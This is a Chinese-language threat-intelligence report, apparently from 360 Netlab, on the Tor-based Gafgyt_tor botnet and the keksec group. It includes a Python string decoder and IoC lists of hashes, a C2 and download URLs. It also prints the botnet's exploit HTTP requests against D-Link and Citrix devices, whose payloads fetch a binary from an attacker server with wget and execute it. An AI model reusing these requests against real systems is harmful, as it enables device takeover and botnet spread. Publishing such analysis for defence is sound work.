'xm@_;w,B-Z*j?nvE|sq1o$3"7zKC<F)utAr.p%=>4ihgfe6cba~&5Dk2d!8+9Uy:0'
下图是它们的ak47scan()函数对比，能看到功能和结构其实是类似的，但运行方式和扫描的端口有变化。
依据上述的decode()和ak47scan()函数2进制特征，我们在样本库中发现了更多的这类Tsunami和Gafgyt样本，它们特点如下：
1. Tsunami样本在2020年8月份中旬出现，活跃时间较短。
2. Gafgyt样本从2020年9月份到12月份一直在断断续续的传播。
3. 从2月初到中旬，先是Tsunami样本恢复传播，然后是Gafgyt，接下来就是Gafgyt_tor。
4. 目前传播的Gafgyt_tor变种和之前捕获的Gafgyt样本存在很多相似之处，代码明显同源。
5. 这些变种botnet频繁复用download server和C2 IP。
能看出今年1月份是空窗期，我们猜测是因为作者将精力放在了Necro上，因为那段时间刚好是Necro活跃的时间。在2进制特征上，尽管因为Necro使用Python编写而跟Gafgyt_tor没有相似之处，但传播手法上却有一些共同点：
1. 都在短时间内更换了不同的exploits，估计是为了提高传播效果。
2. 都采用了“边开发边分发”的方式不断完善botnet功能，导致短期内有大量不同的样本被分发。
综合上述分析，我们认为Gafgyt_tor和Necro背后为同一伙人，他们拥有一批固定的IP地址和多个botnet的源代码，并且有持续开发能力。在实际运营中，他们会组建不同家族的botnet，但会复用IP地址这类基础设施，比如上面提到的IP 45.145.185.83地址从去年底以来不同功能的timeline大概如下图所示。
考虑到业界已有2篇报告都认为Necro/Freakout背后存在1个针对IOT设备的长期活跃的botnet团伙，结合我们自己的证据，我们同意他们的观点。为了保持一致，这里也称之为keksec团伙，下面是一些关于该团伙的结论:
1. 他们起码掌握了Necro、Gafgyt和Tsunami的源代码，并有能力进行持续的开发。
2. 他们会持续升级手中的botnet并轮流使用。
3. 他们拥有一批IP地址资源，并在不同的botnet中复用。
4. 该团伙会紧跟IoT方面的n-day漏洞并第一时间用来组建自己的botnet。
下面是从去年8月份到现在我们检测到的该团伙运营的Linux IoT botnet家族timeline图。
截至文章发稿时Gafgyt_tor botnet仍在传播中，依据我们对该团伙历史botnet的观察，预计Gafgyt_tor仍会持续活跃一段时间，并且不排除后续他们会添加新的exploits的可能。我们对该变种以及keksec团伙的行为将继续保持关注，有最新的动向将及时公开。
IoC
* MD5
# tsunami
3ab32e92917070942135f5c5a545127d
# gafgyt
f1d6fbd0b4e6c6176e7e89f1d1784d14
# gafgyt_tor
eb77fa43bb857e68dd1f7fab04ed0de4
dce3d16ea9672efe528f74949403dc93
bfaa01127e03a119d74bdb4cb0f557ec
a6bdf72b8011be1edc69c9df90b5e0f2
5c1153608be582c28e3287522d76c02f
54e2687070de214973bdc3bc975049b5
b40d8a44b011b79178180a657b052527
1cc68eb2d9713925d692194bd0523783
94a587198b464fc4f73a29c8d8d6e420
2b2940d168a60990377fea8b6158ba22
56439912093d9c1bf08e34d743961763
2d6917fe413163a7be7936a0609a0c2d
8cd99b32ec514f348f4273a814f97e79
1c966d79319e68ccc66f1a2231040adb
47275afdb412321610c08576890093d7
3c5758723980e6b9315ac6e6c32e261d
980d4d0ac9335ae1db6938e8aeb3e757
513bc0091dfa208249bd1e6a66d9d79e
8e551c76a6b17299da795c2b69bb6805
61b93c03cb5af31b82c11d0c86f82be1
69cab222e42c7177655f490d849e18c5
7cbdd215e7f1e17fc589de2df3f09ac9
6b631fed1416c2cd16ca01738fdfe61a
90a716280fe1baee0f056a79c3aa724d
3b4f844c7dd870e8b8c1d5a397a29514
853dc777c5959db7056f64b34e938ba5
3eccab18fa690bbfdb6e10348bc40b02
e78e04aad0915f2febcbb19ef6ffc4fe
b99115a6ea41d85dea5c96d799e65353
4b95dfc5dc523f29eebf7d50e98187c2
4c271f8068bc64686b241eb002e15459
843a7fec9a8e2398a69dd7dfc49afdd2
7122bcd084d2d0e721ec7c01cf2a6a57
10f6b09f88e0cf589d69a764ff4f455b
f91083e19eed003ac400c1e94eba395e
* C2
wvp3te7pkfczmnnl.onion
* Download URL
http://45.153.203.124/bins/AJhkewbfwefWEFx86
http://45.153.203.124/bins/AJhkewbfwefWEFsh4
http://45.153.203.124/bins/AJhkewbfwefWEFmips
http://45.153.203.124/S1eJ3/lPxdChtp3zx86
http://45.153.203.124/S1eJ3/lPxdChtp3zsh4
http://45.153.203.124/S1eJ3/lPxdChtp3zppc-440fp
http://45.153.203.124/S1eJ3/lPxdChtp3zmpsl
http://45.153.203.124/S1eJ3/lPxdChtp3zmips
http://45.153.203.124/S1eJ3/lPxdChtp3zarm7
http://45.153.203.124/S1eJ3/lPxdChtp3zarm
http://45.145.185.83/bins/AJhkewbfwefWEFx86
http://45.145.185.83/bins/AJhkewbfwefWEFspc
http://45.145.185.83/bins/AJhkewbfwefWEFsh4
http://45.145.185.83/bins/AJhkewbfwefWEFppc
http://45.145.185.83/bins/AJhkewbfwefWEFmips
http://45.145.185.83/bins/AJhkewbfwefWEFi586
http://45.145.185.83/bins/AJhkewbfwefWEFarm7
http://45.145.185.83/bins/AJhkewbfwefWEFarm
http://45.145.185.83/S1eJ3/lPxdChtp3zsh4
http://45.145.185.83/S1eJ3/lPxdChtp3zmpsl
http://45.145.185.83/S1eJ3/lPxdChtp3zmips
http://45.145.185.83/S1eJ3/lPxdChtp3zi686
http://45.145.185.83/S1eJ3/lPxdChtp3zbsd
http://45.145.185.83/S1eJ3/lPxdChtp3zarm7
http://45.145.185.83/S1eJ3/lPxdChtp3zarm64
http://45.145.185.83/S1eJ3/lPxdChtp3zarm
http://45.145.185.83/S1eJ3/IObeENwjx86
http://45.145.185.83/S1eJ3/IObeENwjmips
http://45.145.185.83/S1eJ3/IObeENwjarm5
http://45.145.185.83/S1eJ3/IObeENwjarm4
http://45.145.185.83/S1eJ3/IObeENwjarm
* Tor Proxy
103.125.218.111
103.125.218.111
103.82.219.42
104.155.207.91
104.224.179.229
107.20.204.32
111.90.159.138
116.202.107.151
116.203.210.124
116.203.210.124
116.203.210.124
116.203.210.124
116.203.210.124
119.28.149.37
128.199.45.26
130.193.56.117
134.122.4.130
134.122.4.130
134.122.59.236
134.122.59.236
134.122.59.236
134.209.230.13
134.209.249.97
135.181.137.237
138.68.6.227
139.162.149.58
139.162.32.82
139.162.42.124
139.99.239.154
142.47.219.133
143.110.230.187
145.239.83.129
146.59.156.72
146.59.156.76
146.59.156.77
146.66.180.176
148.251.177.144
157.230.27.96
157.230.98.211
157.230.98.77
158.174.108.130
158.174.108.130
158.174.108.130
158.174.108.130
158.174.108.130
158.174.108.130
158.174.108.130
158.247.211.132
159.65.69.186
159.69.203.65
159.69.203.65
159.89.19.9
161.35.84.202
165.22.194.250
165.22.94.245
167.172.123.221
167.172.173.3
167.172.177.33
167.172.178.215
167.172.179.199
167.172.180.219
167.172.190.42
167.233.6.47
167.71.236.109
168.119.37.152
168.119.37.152
168.119.37.152
168.119.37.152
168.119.37.152
168.119.61.251
172.104.240.74
172.104.4.144
176.37.245.132
178.62.215.4
18.191.18.101
18.229.49.115
185.105.237.253
185.106.121.176
185.106.122.10
185.128.139.56
185.180.223.198
185.18.215.170
185.18.215.178
185.212.128.115
185.212.128.115
185.212.128.115
185.212.128.115
185.212.128.115
185.212.128.115
185.217.1.30
188.127.231.152
188.165.233.121
188.166.17.35
188.166.34.137
188.166.79.209
188.166.79.209
188.166.80.74
188.166.82.232
188.166.82.232
188.227.224.110
188.68.52.220
192.46.209.98
192.99.169.229
193.123.35.48
193.187.173.33
195.123.222.9
195.93.173.53
197.156.89.19
198.27.82.186
198.74.54.182
199.247.4.110
201.40.122.152
20.52.130.140
20.52.130.140
20.52.130.140
20.52.147.137
20.52.37.89
20.52.37.89
206.81.17.232
206.81.27.29
212.71.253.168
212.8.244.112
217.12.201.190
217.12.201.190
217.12.201.190
217.144.173.78
217.170.127.226
217.61.98.33
34.239.11.167
35.189.88.51
35.192.111.58
35.192.111.58
37.200.66.166
3.91.139.103
45.33.45.209
45.33.79.19
45.33.82.126
45.79.207.110
45.81.225.67
45.81.225.67
45.81.226.8
45.81.226.8
45.81.226.8
45.92.94.83
46.101.156.38
46.101.159.138
47.90.1.153
49.147.80.102
50.116.61.125
5.100.80.141
51.11.240.222
51.11.240.222
51.116.185.181
51.116.185.181
51.195.201.47
51.195.201.50
5.167.53.191
51.68.191.153
51.75.161.21
51.83.185.71
51.83.186.137
51.89.165.233
52.47.87.178
5.63.13.54
66.42.34.110
67.205.130.65
68.183.67.182
68.183.82.50
79.124.62.26
80.251.220.190
8.210.163.246
8.210.163.246
87.236.215.248
88.198.167.20
88.198.167.20
91.236.251.131
94.23.40.220
95.179.163.1
95.179.163.1
95.179.163.1
95.179.163.1
95.179.164.28
95.179.164.28
95.179.164.28
95.188.93.135
95.216.123.39
95.216.137.149
95.217.27.5
参考
https://blog.netlab.360.com/necro/
https://mp.weixin.qq.com/s/D30y0qeicKnHmP9Kad-pmg
https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 版权\n版权声明: 本文为Netlab原创，依据[CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/) 许可证进行授权，转载请附上出处链接及本声明。\n\n## 概述\n自2021年2月15号起，360Netlab的BotMon系统持续检测到Gafgyt家族的一个新变种，它使用Tor进行C2通信以隐藏真实C2，并对样本中的敏感字符串做了加密处理。这是我们首次发现使用Tor机制的Gafgyt变种，所以将该变种命名为Gafgyt_tor。进一步分析发现该家族与我们1月份公开的[Necro](__GHOST_URL__/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/)家族有紧密联系，背后为同一伙人，即所谓的keksec团伙[[1]](https://mp.weixin.qq.com/s/D30y0qeicKnHmP9Kad-pmg) [[2]](https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/)。检索历史样本发现该团伙长期运营Linux IoT botnet，除了Necro和Gafgyt_tor，他们还曾运营过Tsunami和其它Gafgyt变种botnet。本文将介绍Gafgyt_tor，并对该团伙近期运营的其它botnet做一梳理。\n\n\n本文关键点如下：\n1. Gafgyt_tor使用Tor来隐藏C2通信，可内置100多个Tor代理，并且新样本在持续更新代理列表。\n2. Gafgyt_tor跟keksec团伙之前分发的Gafgyt样本同源，核心功能依然是DDoS攻击和扫描。\n3. keksec团伙会在不同家族间复用代码，可以通过2进制特征进行关联。\n5. 除了代码，keksec团伙还会长期复用他们拥有的一批IP地址。\n\n\n## 样本分析\n\n### 传播\n \n 目前发现的Gafgyt_tor botnet主要通过Telnet弱口令和以下三个漏洞进行传播。\n \n * D-Link RCE(CVE-2019-16920)\n ```\nPOST /apply_sec.cgi HTTP/1.1\nHost: %s:%d\nUser-Agent: kpin\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: %d\nConnection: close\nReferer: http://%s:%d/login_pic.asp\nCookie: uid=1234123\nUpgrade-Insecure-Requests: 1\n\nhtml_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%%0acd%%20%%2Ftmp;busybox%%20wget%%20http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFarm7%%20%7C%7C%%20wget%%20http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFarm7%%20-O%%20.kpin;chmod%%20777%%20.%%2F.kpin;.%2F.kpin;rm%%20-rf%%20.kpin\n ```\n \n * Liferay Portal RCE\n ```\n POST /api/jsonws/expandocolumn/update-column HTTP/1.1\n Host: %s:%d\n Connection: keep-alive\n Accept-Encoding: gzip, deflate\n Accept: */*\n User-Agent: python-requests/2.25.0\n Content-Length: %d\n Content-Type: application/x-www-form-urlencoded\n Authorization: Basic dGVzdEBsaWZlcmF5LmNvbTp0ZXN0\n \n %2BdefaultData=com.mchange.v2.c3p0.WrapperConnectionPoolDataSource&defaultData.userOverridesAsString=HexAsciiSerializedMap:...\n ```\n \n * Citrix CVE-2019-19781\n ```\n POST /vpns/portal/scripts/newbm.pl HTTP/1.1\n Host: %s:%d\n User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0\n Accept-Encoding: gzip, deflate\n Accept: */*\n Connection: keep-alive\n NSC_USER: ../../../netscaler/portal/templates/flialwznxz\n NSC_NONCE: 12\n Content-Length: %d\n Content-Type: application/x-www-form-urlencoded\n \n url=127.0.0.1&title=%%5B%%25+template.new%%28%%7B%%27BLOCK%%27%%3D%%27print+readpipe%%28%%22cd+%%2Ftmp%%3Bwget+http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFx86+%%7C%%7C+wget+http%%3A%%2F%%2F%s%%2Fbins%%2FAJhkewbfwefWEFx86+-O+.kpin%%3Bchmod+777+.%%2F.kpin%%3B.%%2F.kpin%%3Brm+-rf+.kpin%%22%%29%%27%%7D%%29%%25%%5D&desc=desc&UI_inuse=a \n ```\n \n### 加密\n \nGafgyt_tor集成了一个替换加密算法，用于加密C2和敏感字串以对抗检测和静态分析。敏感字符串包括指令、IPC路径名、DDoS相关的攻击字串等。\n\n下面是密文和明文C2对比：\n\n```\n#密文\n'\"?>K!tF>iorZ:ww_uBw3Bw' \n\n#明文\n'wvp3te7pkfczmnnl.onion'\n```\n\n目前我们检测到的Gafgyt_tor变种C2都是 wvp3te7pkfczmnnl.onion。\n\n一些敏感字串密解密结果如下：\n\n```\n# 指令相关字串\n~-6mvgmv - LDSERVER\n1-| - UDP\ncD| - TCP\nej~- - HOLD\n51,U - JUNK\nc~6 - TLS\n6c- - STD\n-,6 - DNS\n6D7,,mv - SCANNER\nj, - ON\njdd - OFF\njge - OVH\n.~7DU,1v6m - BLACKNURSE\n\n# 攻击选项相关字串\n7~~ - ALL\n6p, - SYN\nv6c - RST\ndx, - FIN\n7DU - ACK\n|6e - PSH\n\n# 扫描相关字串\naDbwwtr3bw - WChnnecihn\naQuq - W.1\naEcc - WxTT\n74tw! - Agent\n1;t= - User\n\n# misc\n|x,< - PING\n=ru_Brf_ - rc.local\n```\n\n下面是我们依据逆向结果编写的python解密代码：\n\n```\n def decode(encoded, encodes):\n idx = 0\n decodes = b'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. '\n decoded = bytearray()\n\n while ( idx < len(encoded)):\n for table_idx in range(0, 64):\n if encoded[idx] == encodes[table_idx]:\n decoded.append(decodes[table_idx])\n idx += 1\n\n print(decoded)\n \nencodes = b'%q*KC)&F98fsr2to4b3yi_:wB>z=;!k?\"EAZ7.D-md<ex5U~h,j|$v6c1ga+p@un'\nencoded_cc = b'\"?>K!tF>iorZ:ww_uBw3Bw'\ndecode(encoded_cc, encodes)\n```\n\n\n### 通信\n\n相比其它Gafgyt变种，Gafgyt_tor最大的变化是C2通信基于Tor，这提高了检测和阻断难度。基于Tor的C2通信机制在我们以往分析过的其它家族( [Matryosh](__GHOST_URL__/matryosh-botnet-is-spreading/) [leethozer](__GHOST_URL__/the-leethozer-botnet/) [moobot](__GHOST_URL__/moobot-0day-unixcctv-dvr/) )中曾见到过，但在Gafgyt家族中这是首次碰到。\n\n* 代码变化\n\n跟其它版本相比，加入Tor代理功能的Gafgyt_tor的main函数代码结构变化非常大，如下图所示。\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/ver1_ver2_cmp_cfg-1.png","caption":"main 函数对比图"}],["markdown",{"markdown":"\n\n原来负责建立C2连接的initConnection()函数不见了，取而代之的是一大段负责建立Tor连接的代码。新加入的Tor相关函数如下："}],["image",{"src":"__GHOST_URL__/content/images/2021/02/tor_functions-1.png","caption":"Tor相关函数 "}],["markdown",{"markdown":"\n其中，`tor_socket_init`负责初始化代理节点列表，每个节点包含ip地址和端口。"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/tor_socket_init-2.png","cardWidth":"","caption":"初始化所有Tor节点"}],["markdown",{"markdown":"\n我们分析发现每个样本集成的代理节点数在100+，最多的高达173个。\n\n初始化好代理列表后，样本会通过`tor_retrieve_addr`和`tor_retrieve_port`从列表中随机选择一个节点开启Tor通信。\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/02/random_select_tor_node-2.png","cardWidth":"","caption":"随机选择一个Tor节点 "}],["markdown",{"markdown":"\n与Tor代理建立连接后，Gafgyt_tor就开始通过暗网请求`wvp3te7pkfczmnnl.onion` 等待指令。在我们分析过的样本中这个C2地址一直没变，但是通信端口在持续变化。\n\n* 指令\n\nGafgyt_tor的核心功能依然是DDoS攻击和扫描，所以基本沿用了常见的Gafgyt指令，但增加了一个名为`LDSERVER`的指令。C2可以通过该指令指定Gafgyt_tor的exploit中所用到的下载服务器，如下图所示。"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/dyn_config_scan_payload_dl_server.png","caption":"Exploit payload "}],["markdown",{"markdown":"该指令意味着C2可以动态切换下载服务器，在老的下载服务器被封后可以快速切换到新的下载服务器继续传播。"}],["markdown",{"markdown":"\n### 其它\n\nGafgyt_tor除了对通信功能进行改造以外还使用了一些其它不常见的编码技巧。\n\n* 单例模式\n\n使用Unix域套接字（一种IPC机制）实现单例模式，这种IPC机制需要指定一个路径名，这个路径名也被加密了。如下图所示的`k4=f2t`解密后为`ugrade`。"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/singleton_connect-1.png","caption":"单例模式代码 "}],["markdown",{"markdown":"\n* 函数名混淆\n\n我们收集到的Gafgyt_tor样本都没被strip过，所以样本中保存了完整的符号信息，大部分样本都会使用一个名为ak47Scan的函数进行扫描和传播。在2月24号捕获的样本中我们发现这个函数名被混淆成了随机字串，可以推测样本正处于积极开发阶段，作者正在逐步加强Gafgyt_tor对抗分析和查杀的能力。"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/ak47scan_v2_comp_v2.1_obf.png","caption":"ak47Scan 函数混淆前后对比"}],["markdown",{"markdown":"\n## 样本溯源\n在分析Gafgyt_tor的IoC时，我们注意到有一个download server IP 45.145.185.83被今年1月初出现的Necro botnet使用过:\n```\n2020-12-28 23:37:17\t2021-01-06 06:28:43\t293\tgxbrowser.net\tA\t45.145.185.83\n```\ngxbrowser.net是Necro的3个C2之一，上图显示它曾多次解析到Gafgyt_tor的这个download server IP。\n\n进一步的分析表明，该IP和另一个Necro C2 IP 193.239.147.224还曾在2月初被分其它版本的Gafgyt和Tsunami botnet用作C2，而这2个botnet又明显的跟Gafgyt_tor共享了代码：\n1. 都有名为decode的解密函数，代码结构完全相同。\n2. 都有名为ak47scan和ak47telscan的扫描函数。\n\n它们的解密函数decode()只是码表有差别：\n```\n# gafgyt样本中的码表\n'%q*KC)&F98fsr2to4b3yi_:wB>z=;!k?\"EAZ7.D-md<ex5U~h,j|$v6c1ga+p@un0'\n\n# tsunami样本中的码表\n'xm@_;w,B-Z*j?nvE|sq1o$3\"7zKC<F)utAr.p%=>4ihgfe6cba~&5Dk2d!8+9Uy:0'\n```\n\n下图是它们的ak47scan()函数对比，能看到功能和结构其实是类似的，但运行方式和扫描的端口有变化。"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/ak47scan-----1.png","caption":"ak47scan 函数历史版本对比"}],["markdown",{"markdown":"依据上述的decode()和ak47scan()函数2进制特征，我们在样本库中发现了更多的这类Tsunami和Gafgyt样本，它们特点如下：\n1. Tsunami样本在2020年8月份中旬出现，活跃时间较短。\n2. Gafgyt样本从2020年9月份到12月份一直在断断续续的传播。\n3. 从2月初到中旬，先是Tsunami样本恢复传播，然后是Gafgyt，接下来就是Gafgyt_tor。\n4. 目前传播的Gafgyt_tor变种和之前捕获的Gafgyt样本存在很多相似之处，代码明显同源。\n5. 这些变种botnet频繁复用download server和C2 IP。\n\n能看出今年1月份是空窗期，我们猜测是因为作者将精力放在了Necro上，[因为那段时间刚好是Necro活跃的时间](__GHOST_URL__/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/)。在2进制特征上，尽管因为Necro使用Python编写而跟Gafgyt_tor没有相似之处，但传播手法上却有一些共同点：\n1. 都在短时间内更换了不同的exploits，估计是为了提高传播效果。\n2. 都采用了“边开发边分发”的方式不断完善botnet功能，导致短期内有大量不同的样本被分发。\n\n综合上述分析，我们认为Gafgyt_tor和Necro背后为同一伙人，他们拥有一批固定的IP地址和多个botnet的源代码，并且有持续开发能力。在实际运营中，他们会组建不同家族的botnet，但会复用IP地址这类基础设施，比如上面提到的IP 45.145.185.83地址从去年底以来不同功能的timeline大概如下图所示。"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/ip_timeline-2.png","cardWidth":"","caption":"45.145.185.83 timeline"}],["markdown",{"markdown":"考虑到业界已有2篇报告都认为Necro/Freakout背后存在1个针对IOT设备的长期活跃的botnet团伙，结合我们自己的证据，我们同意他们的观点。为了保持一致，这里也称之为[keksec团伙](https://mp.weixin.qq.com/s/D30y0qeicKnHmP9Kad-pmg)，下面是一些关于该团伙的结论:\n1. 他们起码掌握了Necro、Gafgyt和Tsunami的源代码，并有能力进行持续的开发。\n2. 他们会持续升级手中的botnet并轮流使用。\n3. 他们拥有一批IP地址资源，并在不同的botnet中复用。\n4. 该团伙会紧跟IoT方面的n-day漏洞并第一时间用来组建自己的botnet。\n\n下面是从去年8月份到现在我们检测到的该团伙运营的Linux IoT botnet家族timeline图。"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/keksec_samples_timeline-1.png","cardWidth":"","caption":"Keksec 运营过的botnet timeline"}],["markdown",{"markdown":"截至文章发稿时Gafgyt_tor botnet仍在传播中，依据我们对该团伙历史botnet的观察，预计Gafgyt_tor仍会持续活跃一段时间，并且不排除后续他们会添加新的exploits的可能。我们对该变种以及keksec团伙的行为将继续保持关注，有最新的动向将及时公开。"}],["markdown",{"markdown":"##IoC\n\n* MD5\n```\n# tsunami\n3ab32e92917070942135f5c5a545127d\n\n# gafgyt\nf1d6fbd0b4e6c6176e7e89f1d1784d14\n\n# gafgyt_tor\neb77fa43bb857e68dd1f7fab04ed0de4\ndce3d16ea9672efe528f74949403dc93\nbfaa01127e03a119d74bdb4cb0f557ec\na6bdf72b8011be1edc69c9df90b5e0f2\n5c1153608be582c28e3287522d76c02f\n54e2687070de214973bdc3bc975049b5\nb40d8a44b011b79178180a657b052527\n1cc68eb2d9713925d692194bd0523783\n94a587198b464fc4f73a29c8d8d6e420\n2b2940d168a60990377fea8b6158ba22\n56439912093d9c1bf08e34d743961763\n2d6917fe413163a7be7936a0609a0c2d\n8cd99b32ec514f348f4273a814f97e79\n1c966d79319e68ccc66f1a2231040adb\n47275afdb412321610c08576890093d7\n3c5758723980e6b9315ac6e6c32e261d\n980d4d0ac9335ae1db6938e8aeb3e757\n513bc0091dfa208249bd1e6a66d9d79e\n8e551c76a6b17299da795c2b69bb6805\n61b93c03cb5af31b82c11d0c86f82be1\n69cab222e42c7177655f490d849e18c5\n7cbdd215e7f1e17fc589de2df3f09ac9\n6b631fed1416c2cd16ca01738fdfe61a\n90a716280fe1baee0f056a79c3aa724d\n3b4f844c7dd870e8b8c1d5a397a29514\n853dc777c5959db7056f64b34e938ba5\n3eccab18fa690bbfdb6e10348bc40b02\ne78e04aad0915f2febcbb19ef6ffc4fe\nb99115a6ea41d85dea5c96d799e65353\n4b95dfc5dc523f29eebf7d50e98187c2\n4c271f8068bc64686b241eb002e15459\n843a7fec9a8e2398a69dd7dfc49afdd2\n7122bcd084d2d0e721ec7c01cf2a6a57\n10f6b09f88e0cf589d69a764ff4f455b\nf91083e19eed003ac400c1e94eba395e\n```\n\n* C2\n```\nwvp3te7pkfczmnnl.onion\n```\n\n* Download URL\n```\nhttp://45.153.203.124/bins/AJhkewbfwefWEFx86\nhttp://45.153.203.124/bins/AJhkewbfwefWEFsh4\nhttp://45.153.203.124/bins/AJhkewbfwefWEFmips\n\nhttp://45.153.203.124/S1eJ3/lPxdChtp3zx86\nhttp://45.153.203.124/S1eJ3/lPxdChtp3zsh4\nhttp://45.153.203.124/S1eJ3/lPxdChtp3zppc-440fp\nhttp://45.153.203.124/S1eJ3/lPxdChtp3zmpsl\nhttp://45.153.203.124/S1eJ3/lPxdChtp3zmips\nhttp://45.153.203.124/S1eJ3/lPxdChtp3zarm7\nhttp://45.153.203.124/S1eJ3/lPxdChtp3zarm\n\nhttp://45.145.185.83/bins/AJhkewbfwefWEFx86\nhttp://45.145.185.83/bins/AJhkewbfwefWEFspc\nhttp://45.145.185.83/bins/AJhkewbfwefWEFsh4\nhttp://45.145.185.83/bins/AJhkewbfwefWEFppc\nhttp://45.145.185.83/bins/AJhkewbfwefWEFmips\nhttp://45.145.185.83/bins/AJhkewbfwefWEFi586\nhttp://45.145.185.83/bins/AJhkewbfwefWEFarm7\nhttp://45.145.185.83/bins/AJhkewbfwefWEFarm\n\nhttp://45.145.185.83/S1eJ3/lPxdChtp3zsh4\nhttp://45.145.185.83/S1eJ3/lPxdChtp3zmpsl\nhttp://45.145.185.83/S1eJ3/lPxdChtp3zmips\nhttp://45.145.185.83/S1eJ3/lPxdChtp3zi686\nhttp://45.145.185.83/S1eJ3/lPxdChtp3zbsd\nhttp://45.145.185.83/S1eJ3/lPxdChtp3zarm7\nhttp://45.145.185.83/S1eJ3/lPxdChtp3zarm64\nhttp://45.145.185.83/S1eJ3/lPxdChtp3zarm\n\nhttp://45.145.185.83/S1eJ3/IObeENwjx86\nhttp://45.145.185.83/S1eJ3/IObeENwjmips\nhttp://45.145.185.83/S1eJ3/IObeENwjarm5\nhttp://45.145.185.83/S1eJ3/IObeENwjarm4\nhttp://45.145.185.83/S1eJ3/IObeENwjarm\n```\n\n* Tor Proxy\n```\n103.125.218.111\n103.125.218.111\n103.82.219.42\n104.155.207.91\n104.224.179.229\n107.20.204.32\n111.90.159.138\n116.202.107.151\n116.203.210.124\n116.203.210.124\n116.203.210.124\n116.203.210.124\n116.203.210.124\n119.28.149.37\n128.199.45.26\n130.193.56.117\n134.122.4.130\n134.122.4.130\n134.122.59.236\n134.122.59.236\n134.122.59.236\n134.209.230.13\n134.209.249.97\n135.181.137.237\n138.68.6.227\n139.162.149.58\n139.162.32.82\n139.162.42.124\n139.99.239.154\n142.47.219.133\n143.110.230.187\n145.239.83.129\n146.59.156.72\n146.59.156.76\n146.59.156.77\n146.66.180.176\n148.251.177.144\n157.230.27.96\n157.230.98.211\n157.230.98.77\n158.174.108.130\n158.174.108.130\n158.174.108.130\n158.174.108.130\n158.174.108.130\n158.174.108.130\n158.174.108.130\n158.247.211.132\n159.65.69.186\n159.69.203.65\n159.69.203.65\n159.89.19.9\n161.35.84.202\n165.22.194.250\n165.22.94.245\n167.172.123.221\n167.172.173.3\n167.172.177.33\n167.172.178.215\n167.172.179.199\n167.172.180.219\n167.172.190.42\n167.233.6.47\n167.71.236.109\n168.119.37.152\n168.119.37.152\n168.119.37.152\n168.119.37.152\n168.119.37.152\n168.119.61.251\n172.104.240.74\n172.104.4.144\n176.37.245.132\n178.62.215.4\n18.191.18.101\n18.229.49.115\n185.105.237.253\n185.106.121.176\n185.106.122.10\n185.128.139.56\n185.180.223.198\n185.18.215.170\n185.18.215.178\n185.212.128.115\n185.212.128.115\n185.212.128.115\n185.212.128.115\n185.212.128.115\n185.212.128.115\n185.217.1.30\n188.127.231.152\n188.165.233.121\n188.166.17.35\n188.166.34.137\n188.166.79.209\n188.166.79.209\n188.166.80.74\n188.166.82.232\n188.166.82.232\n188.227.224.110\n188.68.52.220\n192.46.209.98\n192.99.169.229\n193.123.35.48\n193.187.173.33\n195.123.222.9\n195.93.173.53\n197.156.89.19\n198.27.82.186\n198.74.54.182\n199.247.4.110\n201.40.122.152\n20.52.130.140\n20.52.130.140\n20.52.130.140\n20.52.147.137\n20.52.37.89\n20.52.37.89\n206.81.17.232\n206.81.27.29\n212.71.253.168\n212.8.244.112\n217.12.201.190\n217.12.201.190\n217.12.201.190\n217.144.173.78\n217.170.127.226\n217.61.98.33\n34.239.11.167\n35.189.88.51\n35.192.111.58\n35.192.111.58\n37.200.66.166\n3.91.139.103\n45.33.45.209\n45.33.79.19\n45.33.82.126\n45.79.207.110\n45.81.225.67\n45.81.225.67\n45.81.226.8\n45.81.226.8\n45.81.226.8\n45.92.94.83\n46.101.156.38\n46.101.159.138\n47.90.1.153\n49.147.80.102\n50.116.61.125\n5.100.80.141\n51.11.240.222\n51.11.240.222\n51.116.185.181\n51.116.185.181\n51.195.201.47\n51.195.201.50\n5.167.53.191\n51.68.191.153\n51.75.161.21\n51.83.185.71\n51.83.186.137\n51.89.165.233\n52.47.87.178\n5.63.13.54\n66.42.34.110\n67.205.130.65\n68.183.67.182\n68.183.82.50\n79.124.62.26\n80.251.220.190\n8.210.163.246\n8.210.163.246\n87.236.215.248\n88.198.167.20\n88.198.167.20\n91.236.251.131\n94.23.40.220\n95.179.163.1\n95.179.163.1\n95.179.163.1\n95.179.163.1\n95.179.164.28\n95.179.164.28\n95.179.164.28\n95.188.93.135\n95.216.123.39\n95.216.137.149\n95.217.27.5\n```\n"}],["markdown",{"markdown":"##参考\n__GHOST_URL__/necro/\nhttps://mp.weixin.qq.com/s/D30y0qeicKnHmP9Kad-pmg\nhttps://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/"}]],"markups":[],"sections":[[10,0],[10,1],[10,2],[10,3],[10,4],[10,5],[10,6],[10,7],[10,8],[10,9],[10,10],[10,11],[10,12],[10,13],[10,14],[10,15],[10,16],[10,17],[10,18],[10,19],[10,20],[10,21],[10,22],[1,"p",[]],[10,23]],"ghostVersion":"3.0"} | 60307eb4d0d9b7000712b57e |
